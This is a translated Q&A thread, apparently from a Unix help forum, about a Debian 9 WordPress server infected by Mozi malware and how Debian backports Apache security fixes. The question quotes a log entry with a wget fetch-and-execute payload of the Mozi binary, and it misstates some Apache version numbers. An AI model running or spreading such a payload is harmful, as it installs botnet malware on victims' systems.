感染後在 Debian 9 上升級 apache2
我最近發現我在 Google Compute Engine 上執行的 Wordpress 部落格已被 Mozi 惡意軟體感染,並且長期以來一直是他們殭屍網路的一部分(當我收到來自 Google 的關於非法攻擊第三方的警告時得到證實)。
首先讓我們看看我的虛擬機在執行什麼:
OS: Debian 9 Strech Web Server: Apache 2.4.25 DB: MySQL 5.7.30 phpMyAdmin 5.0.2 Wordpress 5.5.1
讓我向您展示我的發現:
Apache2的access.log的一部分
115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"
請注意,它嘗試通過使用 wget 下載腳本然後嘗試 chmod 777 來執行任意程式碼。
Apache2的error.log的一部分
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted
他們似乎成功地執行了任意程式碼。儘管不是 root,但使用者 www-data 已成功修改了一個惡意 php 腳本。
我認為很明顯,我正在執行一個易受攻擊的 apache 版本,並且在 CVE 數據庫中進行搜尋後,黑客使用了這個漏洞CVE-2019-0211 。
當我看到雖然我嘗試升級 apache 時,我很驚訝,apt 說我正在執行最新版本。我的意思是這是 2019 年的漏洞利用,當 apache 現在處於 2.5.46 時,我正在執行版本 2.5.25。在進行了搜尋之後,我在這篇Unix SE 文章中讀到 Debian 處理不同的軟體包版本(我承認我不太使用 Debain 來了解他們對此類事情的看法)。
我的問題是:如何更新 apache 來修補我的系統?如您所知,我需要盡快解決。
編輯
輸出
dpkg -l apache2
:Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-======================-================-================-================================================== ii apache2 2.4.25-3+deb9u9 amd64 Apache HTTP Server
您可能會看到沒有的問題。
眾所周知,Debian 在發行版的生命週期內堅持使用同一上游版本的軟體包。這是他們的政策,在一種情況下有優勢,在另一種情況下有劣勢。
**但是,當然,Debian 正在及時修復安全問題。**不過,這可能並不明顯,因為他們通常不會採用解決問題的上游版本並從中製作新包。相反,他們正在創建一個特定的更新檔,該更新檔將在應用於他們的發行版包含的“舊”版本時解決問題。
例如,在 Debian buster 中,在撰寫本文時應用了所有發行版更新,
aptitude show apache2
生成包含以下行的輸出:Version: 2.4.38-3+deb10u4
第一個數字 (
2.4.38
) 是 Apache 版本,而第二部分 (-3+deb10u4
) 可以理解為一種“更新檔級別”。每當他們解決安全問題時,第二部分都會發生變化(與第一部分相反,第一部分是實際的 Apache 版本號,並且在該發行版的生命週期內將保持不變)。反過來說:Debian 的 Apache 2.4.38 軟體包的原始碼與原始上游Apache 2.4.38 原始碼有很大不同,因為前者應用了更新檔(安全修復),儘管這些修復可能出現在後來的上游原始碼中具有更高的版本號。
長話短說:只要您及時應用所有更新(
apt-get update
等aptitude dist-upgrade
),並且您已正確配置 apt(主要是 apt/etc/apt/sources.list
中的文件/etc/apt/sources.d
),您就不必擔心(而且機會是黑客是通過 Wordpress 發生的,而不是通過 Apache)。